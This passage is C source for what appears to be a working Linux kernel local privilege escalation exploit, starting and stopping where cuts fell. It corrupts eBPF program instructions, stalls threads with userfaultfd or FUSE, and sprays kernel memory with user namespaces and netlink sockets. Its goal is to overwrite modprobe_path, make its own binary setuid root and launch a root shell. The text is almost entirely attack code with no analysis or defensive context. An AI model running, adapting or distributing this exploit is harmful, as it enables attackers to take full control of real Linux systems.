 /* 4*/ BPF_JMP_IMM(BPF_JNE, REG_OP, OP_READ64, 8 - 5),
 /* 5*/ BPF_LDX_MEM(BPF_DW, REG_WHAT, REG_CORRUPT, 0),
 /* 6*/ BPF_STX_MEM(BPF_DW, REG_CONTROL, REG_WHAT, offsetof(t_control, result)),
 /* 7*/ BPF_JMP_A(16 - 8),
 /* 8*/ BPF_JMP_IMM(BPF_JNE, REG_OP, OP_WRITE32, 11 - 9),
 /* 9*/ BPF_STX_MEM(BPF_W, REG_CORRUPT, REG_WHAT, 0),
 /*10*/ BPF_JMP_A(16 - 11),
 /*11*/ BPF_JMP_IMM(BPF_JNE, REG_OP, OP_WRITE64, 14 - 12),
 /*12*/ BPF_STX_MEM(BPF_DW, REG_CORRUPT, REG_WHAT, 0),
 /*13*/ BPF_JMP_A(16 - 14),
 /*14*/ BPF_STX_MEM(BPF_DW, REG_CONTROL, REG_SPECIAL, offsetof(t_control, result)),
 /*15*/ BPF_STX_MEM(BPF_DW, REG_CONTROL, REG_STORAGE, offsetof(t_control, result2)),
 /*16*/ BPF_ST_MEM(BPF_DW, REG_CONTROL, offsetof(t_control, done), 1),
        BPF_MOV64_IMM(BPF_REG_0, 0),
        BPF_EXIT_INSN(),
    };
    if (sizeof(epilogue) >= insns_size - sizeof(prologue)) die();
    memcpy((char *)insns_orig + insns_size - sizeof(epilogue), epilogue, sizeof(epilogue));

    static const struct bpf_insn zero;
    struct bpf_insn * insnp = (void *)((char *)insns_orig + sizeof(prologue));
    size_t i;
    uncorrupted_sum = 0;
    for (i = 1; i <= (insns_size - sizeof(prologue) - sizeof(epilogue)) / sizeof(struct bpf_insn); i++, insnp++) {
        if (memcmp(insnp, &zero, sizeof(zero)) != 0) die();
        if (i != indexof_corrupted_insn) {
            *insnp = BPF_ALU64_IMM(BPF_ADD, REG_SPECIAL, i);
            uncorrupted_sum += i;
        } else {
            switch (stage) {
            case STAGE_MODPROBE_PATH:
                *insnp = BPF_ALU64_IMM(BPF_ADD, REG_CORRUPT, sizeof(corrupt_map) / 2);
                break;
            case STAGE_ADDROF_STORAGE:
                *insnp = BPF_MOV64_IMM(REG_STORAGE, 0);
                break;
            case STAGE_CORRUPTED_INSN:
                die();
            default:
                die();
            }
        }
        if (memcmp(insnp, &zero, sizeof(zero)) == 0) die();
    }
    if (i > UINT16_MAX) die();
    if (uncorrupted_sum != i * (i - 1) / 2 - indexof_corrupted_insn) die();
    if (insnp != (void *)((char *)insns_orig + insns_size - sizeof(epilogue))) die();
    if (memcmp(insnp, &zero, sizeof(zero)) == 0) die();

#if BLOCK_VIA_USERFAULTFD

    license_orig = mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (license_orig == MAP_FAILED) die();
    strcpy(license_orig, "GPL");

    insns = mmap(NULL, THREADS * insns_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (insns == MAP_FAILED) die();
    license = mmap(NULL, THREADS * PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (license == MAP_FAILED) die();
    log_buf = mmap(NULL, THREADS * PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (log_buf == MAP_FAILED) die();

    uffd = syscall(__NR_userfaultfd, O_CLOEXEC);
    if (uffd <= -1) die();
    struct uffdio_api uffdio_api = {
        .api = UFFD_API,
        .features = 0,
    };
    if (ioctl(uffd, UFFDIO_API, &uffdio_api)) die();
    if (uffd_register(uffd, license, THREADS * PAGE_SIZE)) die();
    if (uffd_register(uffd, insns, THREADS * insns_size)) die();
    if (uffd_register(uffd, log_buf, THREADS * PAGE_SIZE)) die();

    create_threads_now();
    read_faults(uffd, license, PAGE_SIZE, 0);
}

#elif BLOCK_VIA_FUSE

    return insns_orig;
}

typedef struct {
    pid_t pid;
    int sock;
    char root[64];
} t_fuse;

static const t_fuse *
start_fuse(const struct bpf_insn * const insns_orig)
{
    t_fuse * const fuse = calloc(1, sizeof(t_fuse));
    if (!fuse) die();

    static char hello[sizeof(self_exe)];
    if ((unsigned int)snprintf(hello, sizeof(hello), "%s.hello", self_exe)
                                   >= sizeof(hello)) die();
    if (*hello != '/') die();
    if (access(hello, R_OK | X_OK)) die();

    char temp[] = "/tmp/fuse.XXXXXX";
    if (!mkdtemp(temp)) die();
    if ((unsigned int)snprintf(fuse->root, sizeof(fuse->root), "%s/root", temp)
                                        >= sizeof(fuse->root)) die();
    if (mkdir(fuse->root, S_IRWXU)) die();

    int socks[2];
    if (socketpair(AF_UNIX, SOCK_STREAM, 0, socks)) die();
    const pid_t pid = fork();
    if (pid <= -1) die();
    if (pid == 0) {
        if (close(socks[0])) die();
        socks[0] = -1;
        if (dup2(socks[1], 0) != 0) die();
        char * const argv[] = { hello, "-o", "sync_read", "-f", "-s", fuse->root, NULL };
        execv(*argv, argv);
        die();
    }
    fuse->pid = pid;
    if (close(socks[1])) die();
    socks[1] = -1;
    fuse->sock = socks[0];

    if (write(fuse->sock, &insns_size, sizeof(insns_size)) != sizeof(insns_size)) die();
    if (write(fuse->sock, insns_orig, insns_size) != insns_size) die();

    char path[64];
    if ((unsigned int)snprintf(path, sizeof(path), "%s/insns.0", fuse->root)
                                  >= sizeof(path)) die();
    for (;;) {
        sleep(1);
        struct stat sb;
        if (lstat(path, &sb)) continue;
        if (!S_ISREG(sb.st_mode)) die();
        if (sb.st_size != insns_size) die();
        break;
    }
    return fuse;
}

static void
stop_fuse(const t_fuse * const fuse)
{
    if (fuse->pid <= 0) die();
    if (kill(fuse->pid, SIGTERM)) die();
    if (waitpid(fuse->pid, NULL, 0) != fuse->pid) die();

    if (fuse->sock <= 0) die();
    if (close(fuse->sock)) die();

    char path[64];
    if ((unsigned int)snprintf(path, sizeof(path), "%s/insns.0", fuse->root)
                                  >= sizeof(path)) die();
    for (;;) {
        sleep(1);
        struct stat sb;
        if (lstat(path, &sb)) break;
    }
}

static void
wait_fuse_state(const int wait_all, const t_fuse * const fuse, const size_t state)
{
    if (fuse->sock <= 0) die();
    if (state <= INT_MAX) die();

    size_t check = 0;
    if (read(fuse->sock, &check, sizeof(check)) != sizeof(check)) die();
    if (check != state) die();
    if (!wait_all) return;

    char pid_task[64];
    const unsigned long pid = getpid();
    if ((unsigned int)snprintf(pid_task, sizeof(pid_task), "/proc/%lu/task", pid)
                                      >= sizeof(pid_task)) die();
    for (;;) {
        size_t blocked = 0;
        DIR * const dirp = opendir(pid_task);
        if (!dirp) die();
        for (;;) {
            const struct dirent * const entry = readdir(dirp);
            if (!entry) break;
            if (strspn(entry->d_name, "0123456789") != strlen(entry->d_name)) continue;

            char * end = NULL;
            const unsigned long tid = strtoul(entry->d_name, &end, 10);
            if (end <= entry->d_name || *end) die();
            if (tid == pid) continue;
            if (blocked >= THREADS) die();

            char tid_stat[64];
            if ((unsigned int)snprintf(tid_stat, sizeof(tid_stat), "%s/%lu/stat", pid_task, tid)
                                              >= sizeof(tid_stat)) die();
            for (;;) {
                char buf[1024];
                const int fd = open(tid_stat, O_RDONLY);
                if (fd <= -1) die();
                const ssize_t nbr = read(fd, buf, sizeof(buf));
                if (nbr <= 0) die();
                if ((size_t)nbr >= sizeof(buf)) die();
                if (memchr(buf, 0, nbr)) die();
                if (close(fd)) die();

                buf[nbr] = 0;
                const char * const state = strrchr(buf, ')');
                if (!state) die();
                if (state[1] != ' ') die();
                if (state[2] == 'D') break;
                if (state[2] == 'S') break;
                printf("state %c != DS\n", (int)state[2]);
                sleep(1);
            }
            blocked++;
        }
        if (closedir(dirp)) die();
        if (blocked >= THREADS) {
            if (blocked != THREADS) die();
            break;
        }
        printf("blocked %zu != %zu\n", blocked, (size_t)THREADS);
        sleep(1);
    }
}

static size_t
read_fuse_fault(const t_fuse * const fuse, const size_t fault)
{
    if (fuse->sock <= 0) die();
    if (fault >= sizeof(threads->faults) / sizeof(*threads->faults)) die();

    size_t index = -1;
    if (read(fuse->sock, &index, sizeof(index)) != sizeof(index)) die();
    if (index >= THREADS) die();

    if (threads[index].faults[fault]) die();
    threads[index].faults[fault] = 1;

    if (write(fuse->sock, &index, sizeof(index)) != sizeof(index)) die();
    return index;
}

static void
read_fuse_faults(const t_fuse * const fuse_smash, const t_fuse * const fuse_other, const size_t fault)
{
    size_t i;
    for (i = 0; i < THREADS; i++) {
        const t_fuse * const fuse = (i != indexof_corrupted_prog ? fuse_other : fuse_smash);
        const size_t index = read_fuse_fault(fuse, fault);
        if (index != i) {
            if (i != indexof_corrupted_prog) ;
            else die();
        }
    }
}

static void
create_thread_map(const size_t index,
    const char * const root, const char * const type, const int mode,
          char * const base, const size_t size, const int prot)
{
    if (*root != '/') die();
    if (index >= THREADS) die();
    if (size % PAGE_SIZE) die();
    if ((uintptr_t)base % PAGE_SIZE) die();

    char path[64];
    if ((unsigned int)snprintf(path, sizeof(path), "%s/%s.%zu", root, type, index)
                                  >= sizeof(path)) die();
    const int fd = open(path, mode);
    if (fd <= -1) die();
    char * const addr = base + index * size;
    if (mmap(addr, size, prot, MAP_PRIVATE | MAP_FIXED, fd, 0) != addr) die();
    if (close(fd)) die();
}

static void
create_thread_maps(const t_fuse * const fuse_smash, const t_fuse * const fuse_other)
{
    if (insns) die();
    if (license) die();
    if (log_buf) die();

    insns = mmap(NULL, THREADS * insns_size, PROT_NONE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (insns == MAP_FAILED) die();
    license = mmap(NULL, THREADS * PAGE_SIZE, PROT_NONE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (license == MAP_FAILED) die();
    log_buf = mmap(NULL, THREADS * PAGE_SIZE, PROT_NONE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (log_buf == MAP_FAILED) die();

    size_t i;
    for (i = 0; i < THREADS; i++) {
        const char * const root = (i != indexof_corrupted_prog ? fuse_other : fuse_smash)->root;
        create_thread_map(i, root, "license", O_RDONLY, license, PAGE_SIZE, PROT_READ);
        create_thread_map(i, root, "insns",   O_RDONLY, insns,  insns_size, PROT_READ);
        create_thread_map(i, root, "logbuf",  O_RDWR,   log_buf, PAGE_SIZE, PROT_READ | PROT_WRITE);
    }
}

static void
create_threads(void)
{
    create_threads_now();
}

#endif

static int
read_modprobe_path(void)
{
    FILE * const fp = fopen("/proc/sys/kernel/modprobe", "r");
    if (!fp) die();
    if (!fgets(modprobe_path, sizeof(modprobe_path), fp)) die();
    if (fclose(fp)) die();

    char * const nl = strchr(modprobe_path, '\n');
    if (!nl) die();
    modprobe_path_len = nl - modprobe_path;
    if (modprobe_path_len <= 0) die();
    if (modprobe_path_len >= sizeof(modprobe_path)) die();
    memset(nl, 0, sizeof(modprobe_path) - modprobe_path_len);
    if (modprobe_path[0] != '/') die();

    printf("modprobe_path %s\n", modprobe_path);
    return strcmp(modprobe_path, self_exe);
}

#define MAX_LINKS 32

static void
finalize_exploit(void)
{
    if (read_modprobe_path() != 0) die();

    int protocol;
    for (protocol = 0; protocol < MAX_LINKS; protocol++) {
        struct stat st;
        if (lstat(self_exe, &st)) die();
        if (!S_ISREG(st.st_mode)) die();
        if (st.st_mode & S_ISUID) {
            if (st.st_uid != 0) die();
            static char * const self[] = { self_exe, NULL };
            execv(self[0], self);
            die();
        }
        printf("protocol %d\n", protocol);
        const int fd = socket(AF_NETLINK, SOCK_DGRAM, protocol);
        if (fd <= -1) continue;
        if (close(fd)) die();
    }
    die();
}

static void
drop_caches(void)
{
    const pid_t pid = fork();
    if (pid <= -1) die();
    if (pid != 0) {
        int status = 0;
        if (waitpid(pid, &status, 0) != pid) die();
        if (WIFEXITED(status)) {
            if (WEXITSTATUS(status) != EXIT_SUCCESS) die();
        } else if (WIFSIGNALED(status)) {
            if (WTERMSIG(status) != SIGKILL) die();
        } else {
            die();
        }
        return;
    }

    const int fd = open("/proc/self/oom_score_adj", O_WRONLY);
    if (fd <= -1) die();
    if (write(fd, "1000", 4) != 4) die();
    if (close(fd)) die();

    sync();
    unsigned long mem_free = 0;
    unsigned long mem_buff = 0;
    unsigned long mem_swap = 0;
    FILE * const fp = popen("free | grep -E '^(Mem:|Swap:)'", "r");
    if (!fp) die();
    if (fscanf(fp, "Mem: %*u %*u %lu %*u %lu %*u%*[\n]", &mem_free, &mem_buff) != 2) die();
    if (fscanf(fp, "Swap: %*u %*u %lu%*[\n]", &mem_swap) != 1) die();
    if (pclose(fp)) die();

    const size_t length = (mem_free + mem_buff + mem_swap / 2) << 10;
    printf("drop_caches %zu\n", length);
    void * const addr = mmap(NULL, length, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (addr == MAP_FAILED) die();
    memset(addr, 'A', length);
    exit(EXIT_SUCCESS);
}

static void
update_indexof_corrupted_prog(const size_t smashed)
{
    static uint64_t scores[THREADS];
    static uint64_t best_score;

    if (smashed >= THREADS) die();
    if (++scores[smashed] > best_score) {
        indexof_corrupted_prog = smashed;
        best_score = scores[smashed];
    }
}

int
main(const int argc, const char * const argv[])
{
    if (sizeof(self_exe) % sizeof(uint32_t)) die();
    self_exe_len = readlink("/proc/self/exe", self_exe, sizeof(self_exe));
    if (self_exe_len <= 0) die();
    if (self_exe_len >= sizeof(self_exe)) die();
    if (self_exe[self_exe_len] != '\0') die();
    if (self_exe[0] != '/') die();

    if (getuid() == 0) {
        if (geteuid() != 0) die();
        if (chown(self_exe, 0, -1)) die();
        if (chmod(self_exe, 04755)) die();
        exit(EXIT_SUCCESS);
    }

    if (geteuid() == 0) {
        if (setuid(0)) die();
        if (setgid(0)) die();
        static char * const bash[] = { "/bin/bash", NULL };
        execv(bash[0], bash);
        die();
    }

    if (read_modprobe_path() == 0) die();

    static const int resources[] = { RLIMIT_AS, RLIMIT_DATA, RLIMIT_MEMLOCK, RLIMIT_NOFILE, RLIMIT_NPROC };
    size_t i;
    for (i = 0; i < sizeof(resources) / sizeof(*resources); i++) {
        struct rlimit rlimit;
        if (getrlimit(resources[i], &rlimit)) die();
        rlimit.rlim_cur = rlimit.rlim_max;
        if (setrlimit(resources[i], &rlimit)) die();
    }

    if (argc != 2) die();
    bigdir = argv[1];
    if (*bigdir != '/') die();

    if (sizeof(onedir) != 256) die();
    memset(onedir, '\\', sizeof(onedir)-1);
    if (onedir[sizeof(onedir)-1] != '\0') die();

    puts("creating directories, please wait...");
    if (mkdir(bigdir, S_IRWXU) && errno != EEXIST) die();
    if (chdir(bigdir)) die();
    for (i = 0; i <= (1UL << 30) / (1 + (sizeof(onedir)-1) * 4); i++) {
        if (mkdir(onedir, S_IRWXU) && errno != EEXIST) die();
        if (chdir(onedir)) die();
    }
    if (chdir("/")) die();
    drop_caches();

    if (control_fd != -1) die();
    control_fd = bpf_create_map(BPF_MAP_TYPE_ARRAY, 4, sizeof(t_control), 1);
    if (control_fd <= -1) die();

    if (corrupt_fd != -1) die();
    corrupt_fd = bpf_create_map(BPF_MAP_TYPE_ARRAY, 4, sizeof(corrupt_map), 1);
    if (corrupt_fd <= -1) die();

    if (storage_fd != -1) die();
    storage_fd = bpf_create_map(BPF_MAP_TYPE_ARRAY, 4, sizeof(storage_map), 1);
    if (storage_fd <= -1) die();

    update_indexof_corrupted_prog(102);
    int pipefd[2];
    for (;;) {
        printf("stage %d prog %zu insn %zu storage 0x%lx\n",
            stage, indexof_corrupted_prog, indexof_corrupted_insn, (unsigned long)addrof_storage_map_value);

        if (pipe(pipefd)) die();
        const pid_t pid = fork();
        if (pid <= -1) die();
        if (pid == 0) break;
        if (close(pipefd[1])) die();
        pipefd[1] = -1;

        int status = 0;
        size_t check = -1;
        if (waitpid(pid, &status, 0) != pid) die();
        if (!WIFEXITED(status)) die();
        switch (WEXITSTATUS(status)) {
        case NO_CORRUPTION:
            break;
        case EARLY_CORRUPTION:
            if (read(pipefd[0], &check, sizeof(check)) != sizeof(check)) die();
            if (check >= THREADS) die();
            update_indexof_corrupted_prog(check);
            break;
        case DOUBLE_CORRUPTION:
            if (read(pipefd[0], &check, sizeof(check)) != sizeof(check)) die();
            if (check != indexof_corrupted_prog) die();
            update_indexof_corrupted_prog(check);
            switch (stage) {
            case STAGE_CORRUPTED_INSN:
                if (indexof_corrupted_insn) die();
                if (read(pipefd[0], &indexof_corrupted_insn, sizeof(indexof_corrupted_insn)) != sizeof(indexof_corrupted_insn)) die();
                if (indexof_corrupted_insn >= insn_cnt) die();
                if (indexof_corrupted_insn <= 0) die();
                break;
            case STAGE_ADDROF_STORAGE:
                if (!indexof_corrupted_insn) die();
                if (read(pipefd[0], &check, sizeof(check)) != sizeof(check)) die();
                if (check != indexof_corrupted_insn) die();

                if (addrof_storage_map_value) die();
                if (read(pipefd[0], &addrof_storage_map_value, sizeof(addrof_storage_map_value)) != sizeof(addrof_storage_map_value)) die();
                if (!is_kernel_addr(addrof_storage_map_value)) die();
                break;
            case STAGE_MODPROBE_PATH:
                finalize_exploit();
                die();
            default:
                die();
            }
            stage++;
            break;
        default:
            die();
        }
        if (close(pipefd[0])) die();
        pipefd[0] = -1;
    }
    if (close(pipefd[0])) die();
    pipefd[0] = -1;

#if BLOCK_VIA_FUSE
    const struct bpf_insn * const insns_orig = create_insns_orig();
    const t_fuse * const fuse_smash = start_fuse(insns_orig);
    const t_fuse * const fuse_other = start_fuse(insns_orig);
    create_thread_maps(fuse_smash, fuse_other);
#endif

    #define FILLNS_MAX (27)
    #define FILLNS_MIN (23)
    static t_userns fillns[1UL << (FILLNS_MAX - FILLNS_MIN + 1)];
    size_t order;
    for (i = 0, order = FILLNS_MAX; order >= FILLNS_MIN; order--) {
        size_t n;
        for (n = (1UL << (FILLNS_MAX - order)); n; n--) {
            if (i >= sizeof(fillns) / sizeof(*fillns)) die();
            fork_userns(&fillns[i++], (1UL << order), 0);
        }
    }
    for (i = 0; i < sizeof(fillns) / sizeof(*fillns); i++) {
        if (fillns[i].pid <= 0) break;
        send_recv_state(*fillns[i].socks, "C", 'D');
    }

    static t_userns userns[1 + USERNS + 1];
    fork_userns(&userns[0], (1UL << FILLNS_MAX), 0);
    for (i = 1; i <= USERNS; i++) {
        fork_userns(&userns[i], (1UL << 31) / USERNS, 0);
    }
    fork_userns(&userns[1 + USERNS], (1UL << 31), 1);
    for (i = 0; i <= 1 + USERNS; i++) {
        send_recv_state(*userns[i].socks, "C", 'D');
    }
    send_recv_state(*userns[1].socks, "E", 'F');
    size_t offset = 0;
    if (read(*userns[1].socks, &offset, sizeof(offset)) != (ssize_t)sizeof(offset)) die();
    printf("offset %zu\n", offset);
    if (offset != USERNS * PAGE_SIZE - 10) die();

    #define FILLNL_TOT (28)
    #define FILLNL_MAX (18)
    #define FILLNL_MIN (14)
    static int fillnl[1UL << (FILLNL_TOT - FILLNL_MAX)];
    memset(fillnl, -1, sizeof(fillnl));
    static const size_t fillnl_max = (1UL << FILLNL_MAX);
    const void * const fillnl_buf = mmap(NULL, fillnl_max, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (fillnl_buf == MAP_FAILED) die();
    for (i = 0, order = FILLNL_MAX; order >= FILLNL_MIN; order--) {
        const ssize_t ssize = (1UL << order) - PAGE_SIZE;
        if (ssize <= 0) die();
        if ((size_t)ssize >= fillnl_max) die();
        size_t n;
        for (n = sizeof(fillnl) / sizeof(*fillnl) / (FILLNL_MAX - FILLNL_MIN + 1); n; n--) {
            const int fd = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_USERSOCK);
            if (fd <= -1) die();
            static const int opts[] = { SO_RCVBUF, SO_SNDBUF };
            size_t k;
            for (k = 0; k < sizeof(opts) / sizeof(*opts); k++) {
                static const int set_opt = INT_MAX / 2;
                if (setsockopt(fd, SOL_SOCKET, opts[k], &set_opt, sizeof(set_opt))) die();
                int get_opt = 0;
                socklen_t opt_len = sizeof(get_opt);
                if (getsockopt(fd, SOL_SOCKET, opts[k], &get_opt, &opt_len)) die();
                if (opt_len != sizeof(get_opt)) die();
                if (get_opt <= ssize) die();
            }
            static const struct sockaddr_nl auto_bind = { .nl_family = AF_NETLINK };
            if (bind(fd, (const struct sockaddr *)&auto_bind, sizeof(auto_bind))) die();
            struct sockaddr_nl my_name = { .nl_family = AF_UNSPEC };
            socklen_t name_len = sizeof(my_name);
            if (getsockname(fd, (struct sockaddr *)&my_name, &name_len)) die();
            if (name_len != sizeof(my_name)) die();
            if (connect(fd, (const struct sockaddr *)&my_name, sizeof(my_name))) die();
            for (k = (1UL << (FILLNL_MAX - order)); k; k--) {
                if (send(fd, fillnl_buf, ssize, MSG_DONTWAIT | MSG_NOSIGNAL) != ssize) die();
            }
            if (i >= sizeof(fillnl) / sizeof(*fillnl)) die();
            if (fillnl[i] != -1) die();
            fillnl[i++] = fd;
        }
    }

    create_threads();
#if BLOCK_VIA_FUSE
    wait_fuse_state(0, fuse_smash, -'L');
    wait_fuse_state(1, fuse_other, -'L');
#endif
    send_recv_state(*userns[1].socks, "G", 'H');
#if BLOCK_VIA_FUSE
    read_fuse_faults(fuse_smash, fuse_other, 0);
    wait_fuse_state(0, fuse_smash, -'I');
    wait_fuse_state(1, fuse_other, -'I');
#elif BLOCK_VIA_USERFAULTFD
    for (i = 0; i < THREADS; i++) {
        struct uffdio_copy uffdio_copy = {
            .dst = (uintptr_t)license + i * PAGE_SIZE,
            .src = (uintptr_t)license_orig,
            .len = PAGE_SIZE,
        };
        if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy)) die();
        if (uffdio_copy.copy != PAGE_SIZE) die();
    }
    read_faults(uffd, insns, insns_size, 1);
#endif

    for (i = 0; i < sizeof(fillns) / sizeof(*fillns); i++) {
        if (fillns[i].pid <= 0) break;
        wait_userns(&fillns[i]);
    }
    for (i = 0; i < sizeof(fillnl) / sizeof(*fillnl); i++) {
        if (fillnl[i] <= -1) break;
        if (close(fillnl[i])) die();
    }

#if BLOCK_VIA_USERFAULTFD
    const size_t fault = 2;
    if (fault >= sizeof(threads->faults) / sizeof(*threads->faults)) die();
#endif

    const size_t smash = indexof_corrupted_prog;
    if (smash < THREADS) {
#if BLOCK_VIA_FUSE
        if (read_fuse_fault(fuse_smash, 1) != smash) die();
        wait_fuse_state(0, fuse_smash, -'B');
#elif BLOCK_VIA_USERFAULTFD
        struct uffdio_copy uffdio_copy = {
            .dst = (uintptr_t)insns + smash * insns_size,
            .src = (uintptr_t)insns_orig,
            .len = insns_size,
        };
        if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy)) die();
        if (uffdio_copy.copy != (ssize_t)insns_size) die();

        struct uffd_msg msg;
        if (read(uffd, &msg, sizeof(msg)) != sizeof(msg)) die();
        if (msg.event != UFFD_EVENT_PAGEFAULT) die();
        if (msg.arg.pagefault.address != (uintptr_t)log_buf + smash * PAGE_SIZE) die();
#endif
    } else die();

    for (i = 0; i < THREADS; i++) {
        if (smash == i) continue;
#if BLOCK_VIA_FUSE
        read_fuse_fault(fuse_other, 1);
#elif BLOCK_VIA_USERFAULTFD
        struct uffdio_copy uffdio_copy = {
            .dst = (uintptr_t)insns + i * insns_size,
            .src = (uintptr_t)insns_orig,
            .len = insns_size,
        };
        if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy)) die();
        if (uffdio_copy.copy != (ssize_t)insns_size) die();
#endif
    }
    send_recv_state(*userns[1 + USERNS].socks, "E", 'F');

    int exit_status = NO_CORRUPTION;
    for (i = 0; i < THREADS; i++) {
        size_t index = THREADS;
        if (!i) {
#if BLOCK_VIA_FUSE
            index = read_fuse_fault(fuse_smash, 2);
            if (index != smash) die();
            wait_fuse_state(0, fuse_other, -'B');
#elif BLOCK_VIA_USERFAULTFD
            index = smash;
#endif
        } else {
#if BLOCK_VIA_FUSE
            index = read_fuse_fault(fuse_other, 2);
#elif BLOCK_VIA_USERFAULTFD
            struct uffd_msg msg;
            if (read(uffd, &msg, sizeof(msg)) != sizeof(msg)) die();
            if (msg.event != UFFD_EVENT_PAGEFAULT) die();
            if (msg.arg.pagefault.address < (uintptr_t)log_buf) die();
            if (msg.arg.pagefault.address >= (uintptr_t)log_buf + THREADS * PAGE_SIZE) die();
            index = (msg.arg.pagefault.address - (uintptr_t)log_buf) / PAGE_SIZE;
            if (msg.arg.pagefault.address != (uintptr_t)log_buf + index * PAGE_SIZE) die();
#endif
        }
        if (index >= THREADS) die();

        t_thread * const thread = &threads[index];
#if BLOCK_VIA_USERFAULTFD
        if (thread->faults[fault]) die();
        thread->faults[fault] = 1;

        const char * const this_log_buf = log_buf + index * PAGE_SIZE;
        struct uffdio_zeropage uffdio_zeropage = {
            .range = { .start = (uintptr_t)this_log_buf, .len = PAGE_SIZE },
        };
        if (ioctl(uffd, UFFDIO_ZEROPAGE, &uffdio_zeropage)) die();
        if (uffdio_zeropage.zeropage != PAGE_SIZE) die();
#endif

        void * retval = 0;
        if (pthread_join(thread->tid, &retval)) die();
        switch ((uintptr_t)retval) {
        case NO_CORRUPTION:
            break;
        case EARLY_CORRUPTION:
            if (indexof_corrupted_prog == index) die();
            indexof_corrupted_prog = index;
            /* fall through */
        case DOUBLE_CORRUPTION:
            printf("index %zu retval %lu\n", index, (unsigned long)retval);
            if (indexof_corrupted_prog != index) die();
            if (exit_status != NO_CORRUPTION) die();
            exit_status = (uintptr_t)retval;
            break;
        default:
            die();
        }
    }

    for (i = 0; i <= 1 + USERNS; i++) {
        wait_userns(&userns[i]);
    }
#if BLOCK_VIA_FUSE
    stop_fuse(fuse_smash);
    stop_fuse(fuse_other);
#endif

    if (write(pipefd[1], &indexof_corrupted_prog, sizeof(indexof_corrupted_prog)) != sizeof(indexof_corrupted_prog)) die();
    if (write(pipefd[1], &indexof_corrupted_insn, sizeof(indexof_corrupted_insn)) != sizeof(indexof_corrupted_insn)) die();
    if (write(pipefd[1], &addrof_storage_map_value, sizeof(addrof_storage_map_value)) != sizeof(addrof_storage_map_value)) die();
    exit(exit_status);
}
